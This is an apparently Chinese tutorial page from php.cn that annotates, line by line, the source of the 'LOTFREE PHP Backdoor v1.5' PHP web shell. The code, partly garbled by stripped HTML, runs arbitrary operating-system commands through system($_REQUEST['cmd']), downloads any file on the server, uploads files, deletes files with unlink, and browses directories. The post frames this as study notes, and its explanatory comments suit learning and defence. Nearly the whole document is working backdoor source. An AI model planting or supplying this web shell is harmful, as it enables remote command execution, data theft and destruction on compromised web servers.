解释PHP后门文件

php中文网
发布: 2016-07-25 09:13:33
原创
2325人浏览过

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link);
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用来取得提交到本文件的数据
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //打开dir指定的路径句柄
  14. chdir($dir); //切换到dir指定的目录
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //将文件读取到缓冲区
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com



  25. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
  26. echo “dir = ‘$dir’
    \n”;
  27. echo “当前目录,文件列表!

    \n”;
  28. //如果已经输入要执行的命令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    \n”;<br /><li>system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显<br /><li>echo “
    登录后复制
    \n”;
  32. }
  33. //如果已经上传了文件
  34. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
  35. {
  36. if($_FILES["fic"]["size"]
  37. {
  38. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
  39. {
  40. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;
  41. }
  42. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;
  43. }
  44. else echo “File too large(文件超出大小限制)!
    \n”;
  45. }
  46. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
  47. {
  48. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  49. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;
  50. else echo “删除文件失败
    \n”;
  51. }
  52. ?>



  53. $t_dir=array();
  54. $t_file=array();
  55. $i_dir=0;
  56. $i_file=0;
  57. //循环输读取前的目录文件,放在t_dir和t_file中
  58. while($x=readdir($rep))
  59. {
  60. if(is_dir($x)) //如果当前处理的是目录
  61. $t_dir[$i_dir++]=$x;
  62. else //如果当前处理的是文件
  63. $t_file[$i_file++]=$x;
  64. }
  65. closedir($rep); //关闭由opendir打开的目录句柄
  66. while(1) //循环输入当前路径的目录和文件
  67. {
  68. ?>



  69. //$_SERVER['PHP_SELF']取得当前php脚本文件名
  70. if($y=each($t_file))
  71. {
  72. if($y["key"]%2==0) //如果当前处理的是key
  73. echo ” bgcolor=’lightgreen’>\n”;
  74. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
  75. echo “>\n”;
  76. echo “ ”.$y["value"].”\n”;
  77. }
  78. else echo“>\n”;
  79. ?>

  80. if($y)
  81. {
  82. //如果是文件,就提供以下删除该文件的链接
  83. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
  84. echo “>Del”;
  85. }
  86. else echo “>\n”;
  87. ?>


  88. if(!$x && !$y)
  89. break;
  90. }
  91. ?>

  92. if($x=each($t_dir))
  93. {
  94. $name=$x["value"]; //获取t_dir数组里的目录名称
  95. if($name==’.'){}
  96. elseif($name==’..’) echo “ UP(父目录)

    \n”; //展示一个UP链接,读取父目录的文件列表
  97. else
  98. echo “ ”.$name.”\n”;
  99. }
  100. ?>





  101. ?dir=”>revenirau repertoire d’origine



  102. ”>
  103. Execute commande(执行操作系统命令)


  104. 上传文件到服务器当前目录:

  105. ”>




复制代码





PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号